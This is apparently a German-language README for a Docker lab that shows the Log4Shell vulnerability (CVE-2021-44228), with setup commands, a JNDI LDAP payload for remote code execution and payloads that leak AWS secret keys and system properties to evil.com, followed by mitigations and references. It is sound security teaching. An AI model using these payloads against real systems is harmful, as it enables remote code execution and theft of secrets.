axelcurmi/log4shell-docker-labLog4Shell (CVE-2021-44228) Docker-Labor
Dieses Docker-Lab verwendet drei Komponenten:
docker network create log4shell
$ docker build -t log4shell-vulnapp vulnapp
$ docker build -t log4shell-httpserver httpserver
$ docker build -t log4shell-marshalsec marshalsec
Wichtiger Hinweis: Wenn Sie Windows PowerShell verwenden, ersetzen Sie $(pwd) durch ${pwd}.
$ docker run -d --name log4shell-vulnapp --network="log4shell" -p 8080:8080 log4shell-vulnapp
$ docker run -d --name log4shell-httpserver --network="log4shell" -p 3223:3223 -v $(pwd)/httpserver:/httpserver log4shell-httpserver
$ docker run -d --name log4shell-marshalsec --network="log4shell" -p 1389:1389 log4shell-marshalsec "http://<HostIp>:<Port>/#<RCEObjectName>"
Öffnen Sie die verwundbare Anwendung, geben Sie einige falsche Test-Anmeldedaten ein und öffnen Sie die Logs des log4shell-vulnapp-Containers. Es ist zu erkennen, dass die Anwendung fehlgeschlagene Anmeldeversuche protokolliert (z. B. Incorrect login attempt for username 'test'). Durch dieses kleine Experiment wird festgestellt, dass wir die Kontrolle über einen Teil der protokollierten Zeichenfolge (d. h. den Benutzernamen) haben.
Wir können eine Nutzlast wie die folgende übergeben, um Code remote auszuführen:
${jndi:ldap://<HostIp>:1389/<RCEObjectName>}
Remote-Codeausführung ist in jeder Java-Version möglich; jedoch auf Maschinen mit Java-Versionen, die älter sind als die folgende Liste [1]:
Dies liegt daran, dass spätere Versionen die JVM-Systemeigenschaft com.sun.jndi.ldap.object.trustURLCodebase standardmäßig auf false setzen, wodurch das Laden von Klassen durch JNDI von beliebigen URL-Codebasen deaktiviert wird. Sich jedoch ausschließlich auf eine neue Java-Version als Schutz gegen diese Schwachstelle zu verlassen, ist riskant, da die Schwachstelle weiterhin auf Maschinen ausgenutzt werden kann, die bestimmte "Gadget"-Klassen im Klassenpfad der verwundbaren Anwendung enthalten, und DNS-Abfragen verwendet werden können, um Informationen wie Umgebungsvariablen zu erhalten.
Es gibt mehrere Lookup-Ersetzungen, die vertrauliche Informationen vom Opfer-Rechner preisgeben. Am bekanntesten ist die Verwendung einer Nutzlast ähnlich der folgenden [2, 3]:
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.evil.com/foo}
${jndi:ldap://${sys:user.name}.evil.com/foo}
${jndi:ldap://${main:x}.evil.com/foo}
${jndi:ldap://${spring:supersecretkey}.evil.com/foo}
Hinweis: Die Spring-Lookup-Angriffszeichenfolge erfordert, dass log4j-spring-cloud-config-client in der Anwendung enthalten ist. [2]
Der beste Weg, diese schwerwiegende Schwachstelle zu entschärfen, ist ein Upgrade von log4j2 auf eine Version >= 2.17.0. Es ist jedoch möglich, das Problem ohne Upgrade vollständig zu entschärfen, indem zwei verschiedene Methoden verwendet werden. Anbieter, die nicht auf eine neuere Log4j2-Version aktualisieren können, wird dringend empfohlen, beide unten aufgeführten Gegenmaßnahmen anzuwenden [1].
Das Deaktivieren von Lookups kann (global) erfolgen, indem die Umgebungsvariable LOG4J_FORMAT_MSG_NO_LOOKUPS auf true gesetzt wird. Dazu bearbeiten Sie die Datei /etc/environment und fügen Folgendes hinzu: LOG4J_FORMAT_MSG_NO_LOOKUPS=true [1]
Alternativ können Lookups für einen bestimmten JVM-Aufruf deaktiviert werden, indem Sie beim Ausführen der verwundbaren Java-Anwendung das folgende Befehlszeilen-Flag hinzufügen: ‐Dlog4j2.formatMsgNoLookups=True [1]
Bei Verwendung einer log4j-Version älter als 2.10.0 ist es möglich, die JndiLookup-Klasse aus beliebigen Java-Anwendungen zu entfernen.
[1] Menashe, S., (2021). All About Log4Shell 0-Day Vulnerability - CVE-2021-44228. [online] JFrog. Verfügbar unter: https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know [Zugegriffen am 24. Dezember 2021].
[2] Goers, R., (2021). Log4j – Log4j 2 Lookups. [online] logging.apache.org. Verfügbar unter: https://logging.apache.org/log4j/2.x/manual/lookups.html [Zugegriffen am 24. Dezember 2021].
[3] Oracle. (2021). System Properties. [online] Verfügbar unter: https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html [Zugegriffen am 24. Dezember 2021].